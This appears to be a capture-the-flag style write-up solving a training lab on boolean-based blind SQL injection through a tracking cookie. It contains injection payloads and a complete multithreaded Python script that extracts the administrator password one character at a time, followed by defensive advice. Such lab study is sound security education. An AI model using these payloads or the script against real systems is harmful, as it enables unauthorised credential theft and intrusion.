On this page
Blind SQL Injection with Conditional Responses
Vulnerability
Blind SQL injection is a class of SQL injection where the application does not return query results or error messages in the HTTP response. Instead, the attacker infers information by observing differences in application behavior — such as whether a particular message appears, or whether the response takes longer.
In this variant (boolean-based blind SQLi), the application returns different content depending on whether the injected condition evaluates to TRUE or FALSE. By crafting conditions like SUBSTRING(password, 1, 1) = 'a', an attacker can extract data one character at a time.
Lab
Name: Blind SQL injection with conditional responses
Difficulty: Practitioner
Goal: Exploit a blind SQL injection vulnerability in a tracking cookie to extract the administrator's password and log in.
Reconnaissance
The application stores a TrackingId cookie that is used in an SQL query. The query result is never displayed, but a "Welcome back!" message appears on the page when the query returns at least one row.
First, we confirm the injection point by appending a quote:
TrackingId=ncJfdwqSUQK7Gh4b'--
The "Welcome back!" message still appears — the comment -- neutralizes the rest of the original query, so the injection is active.
Next, we verify boolean behavior:
-- TRUE condition → "Welcome back!" appears
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=1--
-- FALSE condition → "Welcome back!" disappears
TrackingId=ncJfdwqSUQK7Gh4b' AND 1=0--
We now have a reliable oracle: if the injected condition is true, the message appears; if false, it does not. This is enough to extract any data from the database bit by bit.
Exploitation
Step 1 — Determine password length
We use LENGTH() to find how many characters the administrator's password has:
TrackingId=...'+AND+LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))=20--
"Welcome back!" appears at = 20 — the password is 20 characters long.
Step 2 — Extract characters
We use SUBSTRING(string, position, length) to test one character at a time:
-- Is the 1st character 'w'?
TrackingId=...'+AND+SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),1,1)='w'--
Doing this manually for 20 characters × 36 possible values (a–z + 0–9) would take hundreds of requests. We automate it with a Python script.
Step 3 — Automate with Python
The script uses ThreadPoolExecutor to run 10 requests in parallel, dramatically reducing extraction time:
import requests
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
HOST = "0a7100260337b44880b2629c0027006c.web-security-academy.net"
BASE_URL = f"https://{HOST}/filter?category=Gifts"
TRACKING_ID = "ncJfdwqSUQK7Gh4b"
SESSION = "mtuIxpMFzxZA2eGtxMv2idcobVsAqTtk"
CHARSET = string.ascii_lowercase + string.digits
MAX_LENGTH = 30
THREADS = 10
def check(sql_condition: str) -> bool:
payload = f"{TRACKING_ID}'+AND+{sql_condition}--"
cookies = {"TrackingId": payload, "session": SESSION}
r = requests.get(BASE_URL, cookies=cookies, timeout=10)
return "Welcome back" in r.text
def get_password_length(max_len: int = MAX_LENGTH) -> int:
print("[*] Determining password length...")
for n in range(1, max_len + 1):
condition = f"LENGTH((SELECT+password+FROM+users+WHERE+username='administrator'))={n}"
if check(condition):
print(f"[+] Password length: {n}")
return n
raise ValueError(f"Password length not found within {max_len}")
def get_char_at(pos: int, length: int) -> tuple[int, str]:
for c in CHARSET:
condition = f"SUBSTRING((SELECT+password+FROM+users+WHERE+username='administrator'),{pos},1)='{c}'"
if check(condition):
return pos, c
return pos, "?"
def get_password(length: int) -> str:
print(f"[*] Brute-forcing {length} characters with {THREADS} threads...")
password = ["?"] * length
with ThreadPoolExecutor(max_workers=THREADS) as executor:
futures = {executor.submit(get_char_at, pos, length): pos for pos in range(1, length + 1)}
for future in as_completed(futures):
pos, char = future.result()
password[pos - 1] = char
print(f" [{pos}/{length}] '{char}' => {''.join(password)}")
return "".join(password)
def main():
length = get_password_length()
password = get_password(length)
print(f"\n[+] Password: {password}")
if __name__ == "__main__":
main()
Result: wfa3n32o7a6mb4xon7d6
Log in to /my-account as administrator with this password — lab solved.
Conclusion
Blind SQL injection is more subtle than classic SQLi but equally dangerous. Even without any output, a single boolean signal (message present / absent) is enough to extract the entire database.
How to defend:
- Use parameterized queries (prepared statements) — they eliminate injection entirely
- Never concatenate user input directly into SQL strings
- Apply least privilege to database accounts — the web app user should not have access to the
userstable